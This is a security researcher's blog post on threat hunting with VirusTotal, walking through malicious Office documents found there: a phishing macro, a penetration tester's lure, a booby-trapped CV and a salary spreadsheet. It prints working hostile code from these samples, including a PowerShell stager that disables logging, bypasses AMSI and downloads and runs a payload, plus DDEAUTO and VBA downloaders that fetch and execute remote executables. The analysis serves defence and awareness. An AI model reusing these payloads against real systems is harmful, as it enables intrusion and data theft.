

Threat Hunting with VirusTotal

written by Mert SARICA | 1 August 2019

If you, like me, primarily use Twitter to stay updated on cybersecurity news and follow cybersecurity researchers, you may have come across tweets from security researchers such as Nick CARR from FireEye/Mandiant, Daniel BOHANNON, or John LAMBERT from Microsoft. In their tweets, they sometimes share new malware samples or discuss new techniques they discovered during their threat hunting activities on VirusTotal.

After years of requesting from my friends with VirusTotal accounts to download and send me interesting malware samples, I finally achieved a happy ending in early 2018 by purchasing a corporate VirusTotal account for Akbank Cyber Security Center. With a corporate account, as I mentioned in my blog post titled "On the Trail," you can not only track the activities of cybercriminals but also become aware of cyber attacks targeting your organization and stay informed about the tactics and techniques used by cybercriminals.


Apart from cybercriminals, you can also come across files uploaded by employees preparing for social engineering tests within their own organization or penetration testing experts from cybersecurity consulting firms attempting to bypass antivirus systems.

It is often overlooked that files uploaded to VirusTotal can be viewed and downloaded by other members. This means that a sensitive file uploaded for malware detection purposes can suddenly become visible to third parties. In this article, I decided to provide guidance for those who want to conduct threat hunting on VirusTotal and raise awareness of information security by drawing attention to the points mentioned above.

When conducting threat hunting with VirusTotal Intelligence, we can leverage more than 50 keywords. For example, let's say we want to find records that are uploaded from Turkey (submitter:TR), written in Turkish language (lang:"turkish"), detected by more than 10 antivirus software (positives:10), have a docx file type (type:docx), and were first uploaded in 2018 (fs:2018-01-01 T00:00:00+). By using these keywords, we can quickly find records that match these criteria. If we perform a similar search for xls,

doc files, files containing PowerShell (tag:powershell), and files containing macros (tag:macros), we will come across numerous examples for analysis in a short time.

In one of the cases I encountered, I discovered a malicious individual creating a document containing macros to conduct a social engineering attack against a bank. When analyzing the macro using the oledtools and CyberChef tools, I found that the executed macro sent copies of emails sent from Microsoft Outlook to a command and control center using unencrypted HTTP protocol with the help of PowerShell. By examining the file properties and searching for it on VirusTotal (metadata), I learned that the file was likely created by the bank's audit team to perform a social engineering test rather than by a malicious individual. :)



28 / 60 engines detected this file

d2be6d278cd15a99845643e9c1e66e1179b8ec0f188693349217589e3377f

enum-windows environ macros obfuscated run-file

57.5 KB Size 2018-12-19 02:09:05 UTC 16 days ago

Download File DOC

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY

Basic Properties

MDS	1f82f670a87e982db805f11757d7
SHA-1	1ae2c60ad9b3749fb8a9559d074c82e5e5c12
SHA-256	d2be6d278cd15a99845643e9c1e66e1179b8ec0f188693349217589e3377f
SSDEEP	768 dliYAJbXnAmE77ep3HXIZTPADdxz9ZEpzH1ku9h7AJA.LYAJbPzeT7e9HFTPAD3LEZKh7
File type	MS Word Document
Magic	CDLF V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1254, Author: [redacted] (Tetis Kurulu), Template: Normal.dotm, Last Saved By: [redacted] (Tetis Kurulu), Revision Number: 4, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Mon Dec 03 07:11:00 2018, Last Saved Time/Date: Mon Dec 03 07:17:00 2018, Number of Pages: 1, Number of Words: 76, Number of Characters: 434, Security: 0
File size	57.5 KB (58880 bytes)

ExifTool File Metadata

AppVersion	14.0
Author	[redacted] (Tetis Kurulu)
CharCountWithSpaces	509
Characters	434
CodePage	Windows Turkish
CompObjUserType	Microsoft Word 97-2003 Document
CompObjUserTypeLen	32
Company	[redacted]
CreateDate	2018-12-04 07:11:00

History

Creation Time	2018-12-04 07:11:00
First Submission	2018-12-04 14:41:25
Last Submission	2018-12-04 14:41:25
Last Analysis	2018-12-19 02:09:05

Names

_yilbasi_cekilis.doc

OLE Compound File Info

Commonly Abused Properties

- Seems to contain deobfuscation code.
- Makes use of macros
- May try to run other files, shell commands or applications.
- May enumerate open windows.
- May read system environment variables.

Macros And VBA Code Streams

ThisDocument.cls

enum-windows environ obfuscated run-file

ExifTool File Metadata

AppVersion	14.0
Author	[redacted] (Tetis Kurulu)
CharCountWithSpaces	509
Characters	434
CodePage	Windows Turkish
CompObjUserType	Microsoft Word 97-2003 Document
CompObjUserTypeLen	32
Company	[redacted]
CreateDate	2018-12-04 07:11:00
DocFlags	Has picture, 1Table, ExtChar
FileType	DOC
FileTypeExtension	doc
HeadingPairs	Title, 1
Hyperlinks	cid:image007.png@01D48B14.1DC9C250
HyperlinksChanged	No
Identification	Word 8.0
LanguageCode	Turkish
LastModifiedBy	[redacted] (Tetis Kurulu)
LastPrinted	0000:00:00:00:00:00
Lines	3
LinksUpToDate	No
MIMEType	application/msword
ModifyDate	2018-12-04 07:17:00
Pages	1
Paragraphs	1
RevisionNumber	4
ScaleCrop	No
Security	None
SharedDoc	No
Software	Microsoft Office Word
System	Windows
Template	Normal.dotm
TotalEditTime	1 minute
Word97	No
Words	76

Commonly Abused Properties

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Macros And VBA Code Streams

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enum-windows environ obfuscated run-file

Summary Info

application name	Microsoft Office Word
author	[redacted] (Tetis Kurulu)
character count	434
code page	Turkish
creation datetime	2018-12-04 08:11:00
edit time	60
last author	[redacted] (Tetis Kurulu)
last saved	2018-12-04 08:17:00
page count	1
revision number	4
template	Normal.dotm
word count	76

Document Summary Info

characters with spaces	509
code page	Turkish
company	[redacted]
line count	3
paragraph count	1
version	917504

OLE Streams

Root Entry



SECURITY WARNING Macros have been disabled.

Enable Content



Hediyeni ve gönderim detaylarını aşağıdaki formdan "**Sicil Numarası**" ile sorgulayabilirsin.

Form aktif değil ise karşına çıkan "**Enable Editing**" ve "**Enable Content**" seçeneklerine tıklayarak formu aktifleştirebilirsin.

Sicil No:	<input type="text"/>
<input type="button" value="Sorgula"/>	



İnsan Kaynakları

End of document ■


```

C:\Windows\system32\cmd.exe
Dim objItems As Outlook.SimpleItems
Dim objItem As Outlook.MaillItem

Set objItems = objCurConversation.Children(objCurMail)

If objItems.Count > 0 Then
  For Each objItem In objItems
    strFileName = Environ("Username") & ".txt"
    strFileName = Replace(strFileName, "/", " ")
    strFileName = Replace(strFileName, "\", " ")
    strFileName = Replace(strFileName, ":", " ")
    strFileName = Replace(strFileName, "?", " ")
    strFileName = Replace(strFileName, Chr(34), " ")

    strFilePath = "C:\Users\" & Environ("Username") & "\Documents\" & str
    FileName

    objItem.SaveAs strFilePath, olTXT

    'Process all children recursively
    Call ProcessChildren(objItem, objCurConversation)
  Next
End If

End Sub

```

Type	Keyword	Description
AutoExec	Document_Open	Runs when the Word or Publisher document is opened
Suspicious	Chr	May attempt to obfuscate specific strings (use option --deobf to deobfuscate)
Suspicious	Shell	May run an executable file or a system command
Suspicious	Windows	May enumerate application windows (if combined with Shell.Application object)
Suspicious	Environ	May read system environment variables
Suspicious	System	May run an executable file or a system command on a Mac (if combined with libc.dylib)
Suspicious	Hex Strings	Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)
Suspicious	Base64 Strings	Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)

Search oletools

Type	Size
Microsoft Word 9...	58 KB
Text Document	3 KB
Python File	15 KB
Python File	17 KB
Python File	15 KB
Python File	45 KB
Python File	6 KB
Python File	12 KB
Compiled Python ...	22 KB
Python File	14 KB
Python File	13 KB
Python File	8 KB
Python File	35 KB
Compiled Python ...	25 KB
Python File	7 KB
Python File	179 KB
Python File	178 KB
Python File	25 KB

From Base64 - CyberChef

file:///C:/Users/Mert/Desktop/cyberchef.htm#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=SkFCR...

Version 8.19.5s Last build: 3 days ago - New in v8: Automated encoding detection and simpl... Options About / Support

Operations

Search...

Favourites ★

To Base64

From Base64

To Hex

From Hex

To Hexdump

From Hexdump

URL Decode

Regular expression

Entropy

Fork

Magic

Data format

recipe

From Base64

Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars

STEP Auto Bake

Input start: 1786 length: 1809
end: 1787 lines: 22
length: 1

```

JABGAGkAbAB1FAAYQB0AGgAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXA
AnACsAJAB1AG4AdgA6AFUAcwB1AHIATgBhAG0AZQArACCAXABEAG8AYwB1AG0AZQ
BuAHQAkwBcACcAKw
AkAGUAbgB2ADoAVQBzAGUAcgB0AGEAbQB1ACsAJwAuAHQAeAB0ACCaOwAgACQAVQ
BSAEwAIAA9ACAAJw
BoAHQAdABwADoALwAvAHCAdwB3AC4AZwBhAHIAyQBwAHQAaQBwAHMAYQBwAGsAYQ
B5AG4AYQBwAGwAYQ
ByAGkALgBjAG8AbQAvAHUAcABsAG8AYQBkAC4AcABOAHAAJwA7ACAIAAKAGYAaQ
BsAGUAQgB5AHQAZQ
BzACAAPQAgAFsAUwB5AHMAdAB1AG0ALgBjAE8ALgBGAGkAbAB1AF0A0gA6AFIAZQ
BhAGQAQQBsAGwAQg
B5AHQAQZQBzACgAJABGAGkAbAB1FAAYQB0AGgAKQA7ACAAJABmAGkAbAB1AEUAbg
BjACAAPQAgAFsAUw

```


Output start: 1340 time: 1ms
end: 1340 length: 1340
length: 0 lines: 1


```

$.f.i.l.e.p.a.t.h. .=.
'.c.:.\.u.s.e.r.s.\.'+$.e.n.v.:.u.s.e.r.n.a.m.e+'.\D.o.c.u
.m.e.n.t.s.\.'+$.e.n.v.:.u.s.e.r.n.a.m.e+'.t.x.t.';.
$.U.R.L. .=.
'.h.t.t.p.:././w.w.w..in.s.a.n.k.a.y.n.a.k.l.a.r
.i...c.o.m./u.p.l.o.a.d...p.h.p.';. $.f.i.l.l.e.B.y.t.e.s.
.=.
[.S.y.s.t.e.m...I.O...F.i.l.l.e.]...R.e.a.d.A.l.l.B.y.t.e.s.
(.$f.i.l.l.e.p.a.t.h.); $.f.i.l.l.e.e.n.c. .=.
[.S.y.s.t.e.m...T.e.x.t...E.n.c.o.d.i.n.g.]...G.e.t.E.n.c.o.d.
.i.n.g.('U.T.F.-8')...G.e.t.S.t.r.i.n.g.
(.$f.i.l.l.e.B.y.t.e.s.); $.b.o.u.n.d.a.r.y. .=.
[.S.y.s.t.e.m...G.u.i.d.]...N.e.w.G.u.i.d.

```

When examining another example, the file named "aktivite20.docm," I initially thought that I came across a malicious document used in a social engineering attack targeting a bank. Upon analyzing this well-crafted document, which was quite convincing in terms of persuasion, I discovered that it contained a macro utilizing PowerShell. Upon analyzing the macro file, I found that it disabled PowerShell script blocking and logging features when executed. Similar to the previous example, when examining the file properties, I learned that it was created by a penetration testing expert working as a consultant for a cybersecurity firm. :)





```
1 IF (SPSVersionTable.PSVersIon.MAJOR -Ge3)
2 {
3     $GPP=[REF].AsSEMBLY.GetType('System.Management.Automation.Utils')."GetFileLD"('cachedGroupPolicySettings','N'+onPublic,Static);
4     IF ($GPP)
5     {
6         $GPC=$GPP.GetValue($NULL);
7         IF ($GPC['ScriptB'+lockLogging'])
8         {
9             $GPC['ScriptB'+lockLogging]['EnableScriptB'+lockLogging]=0;
10            $GPC['ScriptB'+lockLogging]['EnableScriptBlockInvocationLogging']=0;
11            $VAL=[COLLECTIONS.GENERIC.DICTIONARY](STRING,SYSTEM.OBJECT)::NEW();
12            $VAL.Add('EnableScriptB'+lockLogging',0);
13            $VAL.Add('EnableScriptBlockInvocationLogging',0);
14            $GPC["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+lockLogging"]=$VAL
15        } ELSE {
16            [SCRIPTBLOCK].GetFileLD('signatures','N'+onPublic,Static).Setvalue($NULL,(NEW-OBJECT COLLECTIONS.GENERIC.HASHSET(STRING))
17        }
18        [REF].AsSEMBLY.GetType('System.Management.Automation.AmsiUtils')?($_){$_.GETFIELD('amsiInitFailed','NonPublic,Static').Setvalue($NULL,$TRUE)};
19    };
20    [SYSTEM.NET.SERVICEPOINTMANAGER]::EXPECT100CONTINUE=0;
21    $WC=NEW-OBJECT SYSTEM.NET.WEBCLIENET;
22    $u="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
23    $WC.HEADERS.ADD('User-Agent',$u);
24    $WC.PROXY=[SYSTEM.NET.WEBREQUEST]::DEFAULTWEBPROXY;
25    $WC.PROXY.CREDENTIALS = [SYSTEM.NET.CREDENTIALCAACHE]::DEFAULTNETWORKCREDENTIALS;
26    $SCRIPT:PROXY = $WC.PROXY;
27    $K=[SYSTEM.TEXT.ENCODING]::ASCII.GETBYTES('1_a(%NR;(u<P&JWtcx)g120fL-SpR');
28    $R=(
29        $D,$K-$ARgs:$S=0..255;0..255|{($J-($J+$S_)+$K[$_SK.COUNT])%256;
30        $S[$_],$S[$J]-$S[$J],$S[$_];
31        $D|{($I-($I+1)%256;$H-($H+$S[$I])%256;
32        $S[$I],$S[$H]-$S[$H],$S[$I];
33        $-_BXORS$($S[$I]+$S[$H])%256)}
34    );
35    $s="http://35.161.199.108:80";
36    $t="/login/process.php";
37    $WC.HEADERS.ADD("Cookie","session=YhqjcpbRT0WN3kUZG1HckB/xQv=");
38    $DATA=$WC.DOWNLOADDATA($s+$t);
39    $IV=$DATA[0..3];
40    $DATA=$DATA[4..$DATA.LENGTH];
41    -jOIn(CHAR[] (& $R $DATA ($IV+$K)))|IEX
42
```

The screenshot displays the VirusTotal search results for metadata. The interface includes a search bar at the top, a navigation menu on the left, and a main content area showing a list of files. Each file entry includes a checkbox, a hash, a filename, a detection count (e.g., 38 / 61), a file size (e.g., 69.54 KB), and submission statistics (e.g., 1 submission, 1 submitter). The files are categorized by type (e.g., docx, auto-open, hide-app, macros, powershell). At the bottom, there is a navigation menu with sections for VirusTotal, Community, Tools, Premium Services, and Documentation.

Looking at the two examples above, we should not forget that uploading files with malicious intent for penetration testing or social engineering tests to VirusTotal can provide clues to malicious individuals regarding scenarios and methods. It is also important to note that uploading a file to VirusTotal before conducting a red team exercise can significantly impede its success.

In another example, “zarina cv.docx,” I came across a suspicious resume file. Particularly in corporate environments, resumes that circulate between individuals can lead to the compromise of an organization if they contain malicious code and are sent to human resources employees via LinkedIn or email without the necessary security controls and measures in place. After opening the “zarina cv.docx” file with 7-Zip, I analyzed the “document.xml” file located in the “word” folder and found a carefully placed DDEAUTO command. The DDEAUTO command downloads a file named “final.exe” from the mediafire.com address and executes it in the TEMP folder. Although I couldn’t access the “final.exe” file as it was deleted, I could clearly see that the same individual attempted to upload a similar file containing an internal IP address to VirusTotal for antivirus scanning instead of mediafire. Based on this example, I would like to emphasize the importance of HR departments being extremely cautious when receiving resume files from candidates.

VirusTotal

https://www.virustotal.com/gui/file/a337da0d55e3f9181bfa0171aa6d5faa943768120142c4dec9848a48e9318fa1/content/preview

a337da0d55e3f9181bfa0171aa6d5faa943768120142c4dec9848a48e9318fa1

27 / 59

27 engines detected this file

a337da0d55e3f9181bfa0171aa6d5faa943768120142c4dec9848a48e9318fa1
zarina cv.docx
dbcx

17.75 KB Size
2018-11-18 19:20:17 UTC
1 month ago

Community Score

DETECTION DETAILS RELATIONS CONTENT SUBMISSIONS COMMUNITY

STRINGS HEX PREVIEW

Zarina Tsolaeva

Kişisel Bilgiler

Ad Soyad	Zarina Tsolaeva
Doğum Tarihi	14.09.1991
Doğum Yeri	Astana
Medeni Durumu	Bekar
Askerlik Durumu	Muaf

İletişim Bilgileri

Adres	Istanbul Zeytinburnu
Telefon	

VirusTotal

https://www.virustotal.com/gui/file/a337da0d55e3f9181bfa0171aa6d5faa943768120142c4dec9848a48e9318fa1/detection

a337da0d55e3f9181bfa0171aa6d5faa943768120142c4dec9848a48e9318fa1

27 / 59

27 engines detected this file

a337da0d55e3f9181bfa0171aa6d5faa943768120142c4dec9848a48e9318fa1
zarina cv.docx
dbcx

17.75 KB Size
2018-11-18 19:20:17 UTC
1 month ago

Community Score

DETECTION DETAILS RELATIONS CONTENT SUBMISSIONS COMMUNITY

2018-11-18T19:20:17


Ad-Aware	Trojan-Downloader.DDE.Gen.1	Arcabit	Trojan-Downloader.DDE.Gen.1
Avira	HEUR/Downloader.DDE	Baidu	MSWord.Exploit.Agent.e
CAT-QuickHeal	OLE.DDE.3687	ClamAV	Doc.Exploit.DDEautoexec-6346603-0
Cyren	XML/DDEdownldr.A/Camelot	DrWeb	W97M.DDE.1
Emsisoft	Trojan-Downloader.DDE.Gen.1 (B)	eScan	Trojan-Downloader.DDE.Gen.1
ESET-NOD32	VBA/DDE.A	F-Secure	Trojan-Downloader.DDE.Gen.1
Fortinet	BAT/DDE.Alt	GData	Trojan-Downloader.DDE.Gen.1
Ikarus	Trojan.VBA.Dde	Kaspersky	HEUR.Trojan-Downloader.MSOffice.Dde...
MAX	Malware (ai Score=100)	McAfee	W97M/MacroLess.j
McAfee-GW-Edition	W97M/MacroLess.j	Microsoft	Exploit.O97M/DDEDdownldr.B
Qihoo-360	Virus.office.ddeauto	Rising	Exploit.MS-Office.DDE1.ADFB (CLASSIC)
Symantec	Trojan.Gen.NPE	TACHYON	Suspicious/WOX.DDEAuto
Tencent	Win32.Trojan.Ddevirus.Auto	ZoneAlarm	HEUR.Trojan-Downloader.MSOffice.Dde...


```
C:\Users\Mert\Desktop\malwares\zarina cv\word\document.xml - Notepad++
File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ?
document.xml document.xml
Hobiler<w:t></w:r><w:proofErr w:type="spellEnd"/><w:r w:rsidRPr="00B84487"><w:rPr><w:b/><w:w w:val="105"/><w:sz
w:val="19"/></w:rPr><w:tab/></w:r><w:proofErr w:type="spellStart"/><w:r><w:spacing w:val="2"/><w:w w:val=
"105"/><w:sz w:val="19"/></w:rPr><w:t>Tiyatro</w:t></w:r><w:proofErr w:type="spellEnd"/></w:p><w:p w:rsidR=
"00E117A1" w:rsidRDefault="0024013E" w:rsidP="00E117A1"><w:pPr><w:pStyle w:val="HTMLNoedenBiimlendirilmi"/><w:shd
w:val="clear" w:color="auto" w:fill="FFFFFF"/></w:pPr><w:r><w:lastRenderedPageBreak/><w:t xml:space="preserve">
</w:t></w:r><w:r w:rsidR="00E117A1"><w:fldChar w:fldCharType="begin"/></w:r><w:r w:rsidR="00E117A1" w:rsidRPr=
"00E117A1"><w:rPr><w:color w:val="222222"/><w:sz w:val="24"/><w:szCs w:val="24"/></w:rPr><w:instrText xml:space=
"preserve"> DDEAUTO c:\\Windows\\System32\\cmd.exe /k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object
System.Net.WebClient).</w:instrText></w:r><w:r w:rsidR="00E117A1" w:rsidRPr="00E117A1"><w:instrText xml:space=
"preserve"></w:instrText></w:r><w:r w:rsidR="00E117A1"><w:instrText xml:space="preserve">DownloadFile('
http://download1078.mediafire.com/wt2jmd6cfigvg/g0nte4jodhcxnjd/final.exe','%TEMP%\final.exe');
</w:instrText></w:r><w:p w:rsidR="00E117A1" w:rsidRDefault="00E117A1" w:rsidP="00E117A1"><w:pPr><w:pStyle
w:val="HTMLNoedenBiimlendirilmi"/><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/></w:pPr><w:r><w:instrText>
Start-Process "%TEMP%\final.exe"</w:instrText></w:r><w:pPr><w:r><w:color w:val="222222"/><w:sz w:val="24"/><w:szCs
w:val="24"/></w:rPr><w:r><w:instrText>ENTER</w:instrText></w:r><w:r><w:fldChar w:fldCharType="begin"/>
</w:r><w:r><w:instrText xml:space="preserve"></w:instrText></w:r><w:r w:rsidRPr="0024013E"><w:rPr><w:color w:val=
"222222"/><w:sz w:val="24"/><w:szCs w:val="24"/></w:rPr><w:instrText>{ DDEAUTO c:\\Windows\\System32\\cmd.exe /k
powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(
</w:instrText></w:r><w:r w:rsidRPr="00D74280"><w:rPr><w:color w:val="222222"/><w:sz w:val="24"/><w:szCs w:val="24"
/></w:rPr><w:instrText>'http://download1078.mediafire.com/wt2jmd6cfigvg/g0nte4jodhcxnjd/final.exe
','%TEMP%\final.exe'</w:instrText></w:r><w:r w:rsidRPr="0024013E"><w:rPr><w:color w:val="222222"/><w:sz w:val="24"
/><w:szCs w:val="24"/></w:rPr><w:instrText>;powershell -e $e }</w:instrText></w:r><w:p w:rsidR="00E117A1"
w:rsidRPr="00E117A1" w:rsidRDefault="00E117A1" w:rsidP="00E117A1"><w:pPr><w:pStyle w:val="GvdeMetni"/><w:rPr><w:sz
w:val="20"/></w:rPr><w:r><w:rPr><w:r><w:color w:val="20"/></w:rPr><w:instrText xml:space="preserve">
</w:instrText></w:r><w:r><w:rPr><w:sz w:val="20"/></w:rPr><w:fldChar w:fldCharType="separate"/>
</w:r><w:r><w:rPr><w:b/><w:noProof/><w:sz w:val="20"/></w:rPr><w:instrText>!Beklenmeyen Formül Sonu
</w:instrText></w:r><w:r><w:rPr><w:sz w:val="20"/></w:rPr><w:fldChar w:fldCharType="end"/></w:r><w:r w:rsidRPr=
"00E117A1"><w:rPr><w:color w:val="222222"/><w:sz w:val="24"/><w:szCs w:val="24"/></w:rPr><w:instrText>
</w:instrText></w:r><w:p w:rsidR="00E117A1" w:rsidRDefault="00E117A1" w:rsidP="0024013E"><w:pPr><w:pStyle
w:val="HTMLNoedenBiimlendirilmi"/><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/></w:pPr><w:r><w:instrText
xml:space="preserve"></w:instrText></w:r><w:r><w:fldChar w:fldCharType="end"/></w:r><w:bookmarkStart w:id="0"
w:name=" GoBack"></w:bookmarkEnd w:id="0"/></w:p><w:p w:rsidR="0071316D" w:rsidRPr="00B84487" w:rsidRDefault=
"0071316D"><w:pPr><w:pStyle w:val="GvdeMetni"/><w:rPr><w:sz w:val="20"/></w:rPr></w:pPr></w:p><w:sectPr w:rsidR=
"0071316D" w:rsidRPr="00B84487" w:rsidSect="00B84487"><w:pgSz w:w="11900" w:h="16840"/><w:pgMar w:top="993" w:right=
"560" w:bottom="0" w:left="0" w:header="708" w:footer="708" w:gutter="0"/><w:cols w:space="708"/>
</w:sectPr></w:body></w:document>
```

eXtensible Markup Language file length: 38.174 lines: 2 Ln: 2 Col: 35.471 Sel: 0 | 0 Windows (CR LF) UTF-8 INS

```
C:\Users\Mert\Desktop\malwares\cv\word\document.xml - Notepad++
File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ?
document.xml document.xml
1 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2 <w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="
http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="
http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="
http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="
http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10=
"urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="
http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="
http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="
http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="
http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><w:body><w:p w:rsidR=
"006E7123" w:rsidRPr="004B5990" w:rsidRDefault="004B5990"><w:pPr><w:rPr><w:lang w:val="tr-TR"/>
</w:rPr></w:pPr><w:r><w:rPr><w:lang w:val="tr-TR"/></w:rPr><w:fldChar w:fldCharType="begin"/>
</w:r><w:r><w:rPr><w:lang w:val="tr-TR"/></w:rPr><w:instrText xml:space="preserve"></w:instrText></w:r><w:r
w:rsidRPr="004B5990"><w:rPr><w:lang w:val="tr-TR"/></w:rPr><w:instrText>DDEAUTO
C:\\Programs\\Microsoft\\Office\\MSword.exe\\.....\\windows\\system32\\mshta.exe "http://192.168.
</w:instrText></w:r><w:bookmarkStart w:id="0" w:name=" GoBack"></w:bookmarkEnd w:id="0"/><w:r w:rsidRPr="004B5990"
><w:rPr><w:lang w:val="tr-TR"/></w:rPr><w:instrText>162.129.8080/U4xAajpm"</w:instrText></w:r><w:r><w:rPr><w:lang
w:val="tr-TR"/></w:rPr><w:fldChar w:fldCharType="separate"/></w:r><w:r><w:rPr><w:b/><w:noProof/><w:lang w:val="tr-TR"
/></w:rPr><w:t>!Beklenmeyen Form</w:t></w:r><w:r><w:rPr><w:rFonts w:hint="cs"/><w:b/><w:noProof/><w:lang w:val=
"tr-TR"/></w:rPr><w:t>ü</w:t></w:r><w:r><w:rPr><w:b/><w:noProof/><w:lang w:val="tr-TR"/></w:rPr><w:t>l Sonu
</w:t></w:r><w:r><w:rPr><w:lang w:val="tr-TR"/></w:rPr><w:fldChar w:fldCharType="end"/></w:r></w:p><w:sectPr w:rsidR=
"006E7123" w:rsidRPr="004B5990"><w:pgSz w:w="11906" w:h="16838"/><w:pgMar w:top="1134" w:right="850" w:bottom="1134"
w:left="1701" w:header="708" w:footer="708" w:gutter="0"/><w:cols w:space="708"/></w:docGrid w:linePitch="360"/>
</w:sectPr></w:body></w:document>
```

eXtensible Markup Language file length: 2.572 lines: 2 Ln: 1 Col: 1 Sel: 0 | 0 Windows (CR LF) UTF-8 INS



The last example that caught my attention was the file “TEMMUZ MAAŞ.xlsm.” When I analyzed the macro file inside the document using the oletools tool, I discovered that it downloads a file named “client.exe” from the web address [http://xfl\[.\]moo.com](http://xfl[.]moo.com) and then saves it as “cache1.exe” in the TEMP folder before executing it. The content of the “TEMMUZ MAAŞ.xlsm” file appeared to be realistic enough not to raise suspicion. When I searched for files associated with [http://xfl\[.\]moo.com](http://xfl[.]moo.com) both on VirusTotal and through retrohunt, I found numerous unrelated files. Some files were specific instruction files created for a particular organization, while others were user manuals for a product. It started to puzzle me whether there were individuals who managed to access these organization-specific files and inject macros into them, or if malicious actors were diligently creating such realistically macro-laden documents.



SHA256: 18cb1aa0d8f3cb75f3c2f5598fde5d01a094028d7dc1822a6b215272774bdc

File name: =?UTF-8?Q?TEMMUJZ_MAA=C5=9E=2Exlsm?=>

Detection ratio: 15 / 59

Analysis date: 2018-08-17 12:55:28 UTC (5 months ago)

Analysis File detail Additional information Comments 1 Votes

Antivirus	Result	Update
Avira (no cloud)	HEUR/Macro.Downloader	20180817
AVware	LooksLike.Macro.Downloader.a (v)	20180817
CAT-QuickHeal	O97M.Dropper.R	20180817
Endgame	malicious (high confidence)	20180730
F-Secure	Trojan.W97M/MaliciousMacro.GEN	20180817
Fortinet	WM/Agent.B7B2lr	20180817
Kaspersky	HEUR:Trojan-Downloader.Script.Generic	20180817
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druzzi	20180817
Qihoo-360	virus.office.qexvmc.1070	20180817
Rising	Macro.Run.c (CLASSIC)	20180817
Symantec	ISB.DownloaderIgen60	20180817
TACHYON	Suspicious/XOX.Obfus.Gen	20180817
Tencent	Heur.MSWord.Downloader.d	20180817
ZoneAlarm by Check Point	HEUR:Trojan-Downloader.Script.Generic	20180817
Zoner	Probably W97Shell	20180816

- May create OLE objects.
- May enumerate open windows.
- May open a file.
- May write to a file.
- May read system environment variables.

Macros And VBA Code Streams

ThisWorkbook.cls

exe-pattern uri-pattern auto-open create-file create-ole enum-windows environ open-file run-file write-file

```

Shell "cmd.exe /c " + TMP, vbHide
End If

End Sub

Sub FDW()
Dim URL, TMP As String
URL = "http://xf1.mooo.com"
TMP = Environ("Temp") & "\-cache1.exe"

Set WinHttpRequest = CreateObject("WinHttp.WinHttpRequest.5.1")
If WinHttpRequest Is Nothing Then
Set WinHttpRequest = CreateObject("WinHttp.WinHttpRequest.5")
End If

WinHttpRequest.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
WinHttpRequest.Option(6) = AllowRedirects
WinHttpRequest.Option(12) = True
WinHttpRequest.Open "GET", URL, False
On Error Resume Next
WinHttpRequest.Send
    
```

Document Properties

CpiastModifiedBy MÚDÚR
Dccreator RPC1
Dcterms:created 2015-01-15T16:55:01Z
Dcterms:modified 2018-08-17T11:07:27Z
AppVersion 12.0000
Application Microsoft Excel
DocSecurity 0
HyperlinksChanged false
LinksUpToDate false
ScaleCrop false

TEMMUZ MAAŞ.xls - Excel

File Home Insert Page Layout Formulas Data Review View Tell me what you want to do... Sign in Share

Clipboard Font Alignment Number Styles Cells Editing

SECURITY WARNING Macros have been disabled. Enable Content

D28

XCEL FORMAT DOSYASININ KULLANIMI

HAZIRAN MAAŞ VE EĞİTİM ÖĞRETİM ODENEĞİ

	Ödeme Tarihi	17.08.2018	Toplam Ödenecek Tutar ve Personel Sayısı	
MÜŞTERİ NUMARASI	Şube Kodu	731	17.224,61	
	Kurum Kodu	SE	11	
	Ay	07	Para Birimi	
	Ödeme Türü	M	TL	
Personel Adı Soyadı	Personel Hesap No	Personel Sicil No	Meblağ	Personel İban No
Personel Adı Soyadı	17 haneli bankomat hesap numarasını yazınız. (001580.....)	Sicil Hanesi 12 Karakterli geçmemelidir.	Miktarı giriniz, Kurus hanesi 2 karakterdir. İgili kıpının miktarı yok ise; sadece sıfır (0) giriniz.	26 haneli İban numarasını yazınız. (TR.....)
			1.603,12	
			1.543,12	
			1.543,12	
			1.596,40	
			1.543,12	
			1.543,12	
			1.543,12	
			1.596,40	
			1.565,95	
			1.573,57	
			1.573,57	

kurummaas Kullanım Klavuzu Sheets 1

```

C:\Windows\system32\cmd.exe

Private Sub App_DocumentOpen(ByVal Doc As Document)
Application.DisplayAlerts = False
Closing = False
ActiveDocument.Content.Font.Hidden = False

RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Sec
urity\UBAWarnings", 1, "REG_DWORD"
RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Sec
